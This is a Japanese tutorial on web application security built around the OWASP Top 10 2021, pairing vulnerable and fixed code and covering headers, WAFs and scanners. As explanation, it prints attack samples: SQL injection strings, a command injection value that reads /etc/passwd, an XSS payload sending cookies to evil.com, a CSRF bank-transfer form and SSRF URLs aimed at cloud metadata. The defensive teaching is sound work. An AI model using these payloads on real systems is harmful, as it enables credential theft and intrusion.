はじめに:Webアプリケーションセキュリティの重要性

現代のビジネスのほとんどはWebアプリケーションを通じて運営されています。オンラインショッピング、金融サービス、ソーシャルメディア、企業内部システムまでWeb基盤サービスが核心インフラとして位置づけられています。これに伴い、Webアプリケーションは攻撃者の主要なターゲットとなり、Webセキュリティは企業セキュリティの最前線となりました。

OWASP(Open Web Application Security Project)はWebアプリケーションセキュリティ分野で最も権威のある非営利組織で、定期的に最も深刻なWebセキュリティリスクリストである「OWASP Top 10」を発表しています。今回の記事ではOWASP Top 10 2021を基に主要なWeb脆弱性と防御方法を詳しく説明します。

1. OWASP Top 10 2021 概要

OWASP Top 10 2021は最新バージョンで、以前のバージョン(2017)から大きな変化がありました。

順位 脆弱性 説明
A01 Broken Access Control アクセス制御の失敗
A02 Cryptographic Failures 暗号化の失敗
A03 Injection インジェクション攻撃
A04 Insecure Design 安全でない設計
A05 Security Misconfiguration セキュリティ設定ミス
A06 Vulnerable and Outdated Components 脆弱なコンポーネント
A07 Identification and Authentication Failures 認証の失敗
A08 Software and Data Integrity Failures ソフトウェア整合性の失敗
A09 Security Logging and Monitoring Failures ログ記録とモニタリングの失敗
A10 Server-Side Request Forgery (SSRF) サーバーサイドリクエストフォージェリ

2. A01: Broken Access Control(アクセス制御の失敗)

アクセス制御の失敗は2021年Top 10で1位を占めました。ユーザーが自分の権限を超えた行動ができる場合に発生します。

2.1 脆弱性の種類

  • 垂直的権限昇格:一般ユーザーが管理者機能にアクセス
  • 水平的権限昇格:他のユーザーのデータにアクセス
  • IDOR(Insecure Direct Object Reference):URLパラメータ操作で他のユーザーデータにアクセス
  • パストラバーサル:ディレクトリトラバーサルを通じたファイルアクセス

2.2 脆弱なコード例

# 脆弱なコード - IDOR脆弱性
@app.route('/api/user/<user_id>/profile')
def get_user_profile(user_id):
    # 現在ログインしているユーザーかどうか確認しない
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

# 脆弱なコード - 管理者機能アクセス制御なし
@app.route('/admin/delete_user/<user_id>')
def delete_user(user_id):
    User.query.filter_by(id=user_id).delete()
    return "User deleted"

2.3 安全なコード例

# 安全なコード - IDOR防御
@app.route('/api/user/<user_id>/profile')
@login_required
def get_user_profile(user_id):
    # 現在ログインしているユーザーのみ自分のプロファイルにアクセス可能
    if current_user.id != int(user_id):
        abort(403)  # Forbidden
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

# 安全なコード - ロールベースアクセス制御
@app.route('/admin/delete_user/<user_id>')
@login_required
@admin_required  # デコレーターで管理者権限確認
def delete_user(user_id):
    if not current_user.is_admin:
        abort(403)
    User.query.filter_by(id=user_id).delete()
    return "User deleted"

3. A03: Injection(インジェクション攻撃)

インジェクション攻撃は信頼できないデータがコマンドやクエリの一部として送信される場合に発生します。SQL Injectionが最も代表的です。

3.1 SQL Injection攻撃の種類

  • Classic SQL Injection:エラーメッセージを通じて情報抽出
  • Blind SQL Injection:真/偽の応答を通じて情報抽出
  • Time-based Blind SQL Injection:応答時間の差を通じて情報抽出
  • Union-based SQL Injection:UNION句を利用してデータ抽出

3.2 SQL Injection攻撃例

-- 脆弱なログインクエリ
SELECT * FROM users WHERE username = 'admin' AND password = 'password'

-- 攻撃者入力: username = admin'--
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- 結果: パスワード検証バイパス

-- Unionベース攻撃
SELECT name, description FROM products WHERE id = 1 UNION SELECT username, password FROM users--

-- Time-based Blind SQL Injection
SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '0:0:5'--

3.3 SQL Injection防御

# 脆弱なコード
def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    return cursor.fetchone()

# 安全なコード - Prepared Statement(パラメータ化クエリ)
def get_user(username):
    query = "SELECT * FROM users WHERE username = %s"
    cursor.execute(query, (username,))
    return cursor.fetchone()

# ORM使用(SQLAlchemy)
def get_user(username):
    return User.query.filter_by(username=username).first()
// Java - PreparedStatement使用
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

3.4 その他のInjection攻撃

# Command Injection脆弱性
import os
def ping_host(host):
    os.system(f"ping -c 4 {host}")  # 脆弱!

# 攻撃: host = "8.8.8.8; cat /etc/passwd"

# 安全なコード
import subprocess
def ping_host(host):
    # 入力検証
    if not re.match(r'^[\d.]+$', host):
        raise ValueError("Invalid host")
    subprocess.run(['ping', '-c', '4', host], capture_output=True)

4. A07: Identification and Authentication Failures

認証関連の脆弱性はセッション管理、パスワードポリシー、多要素認証など様々な領域で発生します。

4.1 脆弱性の種類

  • 弱いパスワードを許可
  • Credential Stuffing攻撃に脆弱
  • セッション固定(Session Fixation)
  • セッションIDがURLに露出
  • 安全でないパスワード復旧

4.2 安全な認証実装

from flask import Flask, session
from werkzeug.security import generate_password_hash, check_password_hash
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'

# パスワードハッシュ化
def create_user(username, password):
    # パスワード複雑性検証
    if len(password) < 12:
        raise ValueError("Password too short")
    if not re.search(r'[A-Z]', password):
        raise ValueError("Password needs uppercase")
    if not re.search(r'[a-z]', password):
        raise ValueError("Password needs lowercase")
    if not re.search(r'\d', password):
        raise ValueError("Password needs digit")

    hashed = generate_password_hash(password, method='pbkdf2:sha256:310000')
    # またはbcrypt、argon2使用
    User.create(username=username, password_hash=hashed)

# ログイン試行制限
from flask_limiter import Limiter

limiter = Limiter(app)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 1分当たり5回制限
def login():
    username = request.form['username']
    password = request.form['password']

    user = User.query.filter_by(username=username).first()
    if user and check_password_hash(user.password_hash, password):
        session.regenerate()  # セッションID再生成
        session['user_id'] = user.id
        return redirect('/dashboard')

    # 失敗時は一般的なメッセージ(情報漏洩防止)
    return "Invalid credentials", 401

5. XSS(Cross-Site Scripting)攻撃と防御

XSSは攻撃者がWebページに悪意のあるスクリプトを挿入し、他のユーザーのブラウザで実行させる攻撃です。

5.1 XSSの種類

  • Stored XSS:悪意のあるスクリプトがサーバーに保存され、他のユーザーに配信
  • Reflected XSS:悪意のあるスクリプトがURLを通じて反射されて実行
  • DOM-based XSS:クライアント側JavaScriptで発生

5.2 XSS攻撃例

<!-- Stored XSS: 掲示板コメント -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

<!-- Reflected XSS: 検索結果ページ -->
https://example.com/search?q=<script>alert('XSS')</script>

<!-- 様々なXSSペイロード -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
<iframe src="javascript:alert('XSS')">

5.3 XSS防御

# Python Flask - 自動エスケープ(Jinja2)
from markupsafe import escape

@app.route('/search')
def search():
    query = request.args.get('q', '')
    # テンプレートで自動エスケープ
    return render_template('search.html', query=query)

# 手動エスケープが必要な場合
safe_input = escape(user_input)
// JavaScriptで安全なDOM操作
// 脆弱なコード
element.innerHTML = userInput;

// 安全なコード
element.textContent = userInput;

// またはDOMPurifyライブラリ使用
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

5.4 Content Security Policy (CSP)

# NginxでCSPヘッダー設定
add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-randomvalue' https://trusted-cdn.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.googleapis.com;
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
" always;
<!-- HTMLでnonce使用 -->
<script nonce="randomvalue">
    // このスクリプトのみ実行される
    console.log('Allowed script');
</script>

6. CSRF(Cross-Site Request Forgery)

CSRFは認証されたユーザーの権限を利用して攻撃者が望むリクエストを送信させる攻撃です。

6.1 CSRF攻撃例

<!-- 悪意のあるWebサイトに挿入されたCSRF攻撃コード -->
<!-- イメージタグを利用したGETリクエスト -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">

<!-- フォームを利用したPOSTリクエスト -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>

6.2 CSRF防御

# Flask-WTFを利用したCSRFトークン
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)

# テンプレートでCSRFトークン使用
# <form method="post">
#     {{ csrf_token() }}
#     ...
# </form>

# AJAXリクエスト時
# headers: {'X-CSRFToken': csrf_token}
// JavaScriptでCSRFトークン含む
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
    },
    body: JSON.stringify({to: 'recipient', amount: 100})
});

6.3 SameSite Cookie設定

# Flaskセッションクッキー設定
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Strict'  # または'Lax'
)

7. SSRF(Server-Side Request Forgery)

SSRFはサーバーが攻撃者が指定したURLにリクエストを送信させる攻撃です。内部ネットワークへのアクセス、クラウドメタデータの窃取などに悪用されます。

7.1 SSRF攻撃シナリオ

# AWSメタデータ窃取
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 内部サービスアクセス
http://localhost:8080/admin
http://192.168.1.1/router-config

# ファイル読み取り
file:///etc/passwd

7.2 SSRF防御

import ipaddress
from urllib.parse import urlparse

def is_safe_url(url):
    """SSRF防御のためのURL検証"""
    try:
        parsed = urlparse(url)

        # プロトコル検証
        if parsed.scheme not in ['http', 'https']:
            return False

        # IPアドレス検証
        hostname = parsed.hostname
        if hostname:
            try:
                ip = ipaddress.ip_address(hostname)
                # プライベートIP、ループバック、リンクローカルをブロック
                if ip.is_private or ip.is_loopback or ip.is_link_local:
                    return False
            except ValueError:
                # ドメインの場合 - ホワイトリスト検証
                allowed_domains = ['api.trusted.com', 'cdn.example.com']
                if hostname not in allowed_domains:
                    # DNSリバインディング防止のためIP確認
                    import socket
                    resolved_ip = socket.gethostbyname(hostname)
                    ip = ipaddress.ip_address(resolved_ip)
                    if ip.is_private or ip.is_loopback:
                        return False

        return True
    except Exception:
        return False

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    if not is_safe_url(url):
        abort(400, "Invalid URL")
    response = requests.get(url, timeout=5)
    return response.content

8. セキュリティヘッダー設定

8.1 主要なセキュリティヘッダー

# Nginxセキュリティヘッダー設定
server {
    # XSSフィルター有効化
    add_header X-XSS-Protection "1; mode=block" always;

    # MIMEスニッフィング防止
    add_header X-Content-Type-Options "nosniff" always;

    # クリックジャッキング防止
    add_header X-Frame-Options "DENY" always;

    # HTTPS強制(HSTS)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    # Referrerポリシー
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # 権限ポリシー
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;

    # Content Security Policy
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;
}

8.2 Apache設定

# .htaccessまたはhttpd.conf
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Content-Security-Policy "default-src 'self'"

8.3 Express.js(Helmetミドルウェア)

const express = require('express');
const helmet = require('helmet');

const app = express();

// 基本セキュリティヘッダー設定
app.use(helmet());

// 詳細設定
app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "'unsafe-inline'"],
            styleSrc: ["'self'", "'unsafe-inline'"],
            imgSrc: ["'self'", "data:", "https:"],
        },
    },
    hsts: {
        maxAge: 31536000,
        includeSubDomains: true,
        preload: true
    },
    frameguard: { action: 'deny' },
    noSniff: true,
    xssFilter: true
}));

9. WAF(Web Application Firewall)

9.1 WAFの概念

WAFはWebアプリケーションとインターネットの間でHTTPトラフィックをフィルタリングおよびモニタリングするセキュリティソリューションです。SQL Injection、XSS、CSRFなど様々なWeb攻撃をブロックします。

WAFの動作方式:

  • シグネチャベース:既知の攻撃パターンマッチング
  • 行動ベース:異常なリクエストパターン検出
  • ML/AIベース:機械学習で新しい攻撃検出

9.2 ModSecurity設定(オープンソースWAF)

# ModSecurityインストール(Ubuntu + Nginx)
sudo apt install libmodsecurity3 libmodsecurity-dev
sudo apt install libnginx-mod-http-modsecurity

# OWASP CRS(Core Rule Set)ダウンロード
cd /etc/nginx
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
# Nginx ModSecurity設定
# /etc/nginx/modsec/modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On
SecResponseBodyMimeType text/plain text/html text/xml
SecDataDir /tmp/
SecAuditEngine RelevantOnly
SecAuditLog /var/log/nginx/modsec_audit.log

# Nginxサーバーブロックで有効化
server {
    modsecurity on;
    modsecurity_rules_file /etc/nginx/modsec/main.conf;

    location / {
        proxy_pass http://backend;
    }
}

9.3 クラウドWAFサービス

  • AWS WAF:AWS環境に統合、CloudFront、ALBと連携
  • Cloudflare WAF:CDNと統合されたWAFサービス
  • Azure WAF:Application Gatewayと統合
  • Google Cloud Armor:GCPロードバランサーと統合
# AWS WAF CLIでルール作成例
aws wafv2 create-web-acl \
    --name "MyWebACL" \
    --scope REGIONAL \
    --default-action '{"Allow": {}}' \
    --rules '[
        {
            "Name": "SQLInjectionRule",
            "Priority": 1,
            "Statement": {
                "SqliMatchStatement": {
                    "FieldToMatch": {"AllQueryArguments": {}},
                    "TextTransformations": [{"Priority": 0, "Type": "URL_DECODE"}]
                }
            },
            "Action": {"Block": {}},
            "VisibilityConfig": {
                "SampledRequestsEnabled": true,
                "CloudWatchMetricsEnabled": true,
                "MetricName": "SQLInjection"
            }
        }
    ]' \
    --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=MyWebACL

10. Web脆弱性スキャナー

10.1 OWASP ZAP(Zed Attack Proxy)

OWASP ZAPは無料オープンソースのWebアプリケーションセキュリティスキャナーです。

# DockerでOWASP ZAP実行
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://example.com

# APIを通じたスキャン
docker run -u zap -p 8080:8080 -d owasp/zap2docker-stable zap.sh -daemon -host 0.0.0.0 -port 8080

# Python API使用
from zapv2 import ZAPv2

zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://localhost:8080'})

# Spider実行
scan_id = zap.spider.scan('https://example.com')
while int(zap.spider.status(scan_id)) < 100:
    time.sleep(5)

# Active Scan実行
scan_id = zap.ascan.scan('https://example.com')
while int(zap.ascan.status(scan_id)) < 100:
    time.sleep(5)

# 結果出力
print(zap.core.alerts())

10.2 Nikto

NiktoはWebサーバー脆弱性スキャナーで、サーバー設定ミス、脆弱なファイルなどを検出します。

# Niktoインストールと実行
sudo apt install nikto

# 基本スキャン
nikto -h https://example.com

# SSLスキャン
nikto -h https://example.com -ssl

# 特定ポートスキャン
nikto -h example.com -p 8080

# 結果をファイルに保存
nikto -h https://example.com -o report.html -Format html

# チューニングオプション(特定テストのみ実行)
# 1 - 興味深いファイル/CGI
# 2 - デフォルトファイル
# 3 - 情報漏洩
# 4 - インジェクション(XSS/スクリプト/HTML)
nikto -h https://example.com -Tuning 1234

10.3 Burp Suite

Burp SuiteはWebアプリケーションセキュリティテストのための統合プラットフォームです。

# Burp Suiteプロキシ設定(ブラウザで)
HTTP Proxy: 127.0.0.1:8080

# 主な機能:
# - Proxy: HTTP/HTTPSトラフィックを傍受および修正
# - Spider: Webサイトクローリング
# - Scanner: 自動脆弱性スキャン(Pro版)
# - Intruder: 自動化された攻撃(ブルートフォースなど)
# - Repeater: リクエスト手動修正および再送信
# - Decoder: エンコード/デコードツール
# - Comparer: レスポンス比較

10.4 自動化されたセキュリティテストパイプライン

# GitHub Actions - セキュリティスキャンワークフロー
name: Security Scan

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Run OWASP ZAP Baseline Scan
        uses: zaproxy/action-baseline@v0.7.0
        with:
          target: 'https://staging.example.com'
          rules_file_name: '.zap/rules.tsv'

      - name: Run Nikto Scan
        run: |
          docker run --rm frapsoft/nikto -h https://staging.example.com -o /dev/stdout

      - name: Upload ZAP Report
        uses: actions/upload-artifact@v3
        with:
          name: zap-report
          path: report_html.html

まとめ

Webアプリケーションセキュリティは多層防御(Defense in Depth)戦略が必須です。今回の記事で取り上げた内容を要約すると:

  • OWASP Top 10:最も重要なWebセキュリティリスクリストを把握する
  • 入力検証:すべてのユーザー入力は潜在的に危険であるため、徹底した検証が必要
  • 出力エンコーディング:XSS防止のための適切なエスケープ処理
  • 認証/認可:強力な認証メカニズムと細分化された権限管理
  • セキュリティヘッダー:CSP、HSTSなどブラウザセキュリティ機能の活用
  • WAF:追加のセキュリティ層として既知の攻撃パターンをブロック
  • 定期的なスキャン:脆弱性スキャナーによる継続的なセキュリティチェック

Webセキュリティは開発初期段階から考慮する必要があり(Shift Left Security)、CI/CDパイプラインにセキュリティテストを統合するDevSecOpsアプローチが推奨されます。次回はネットワークモニタリングとログ分析について説明します。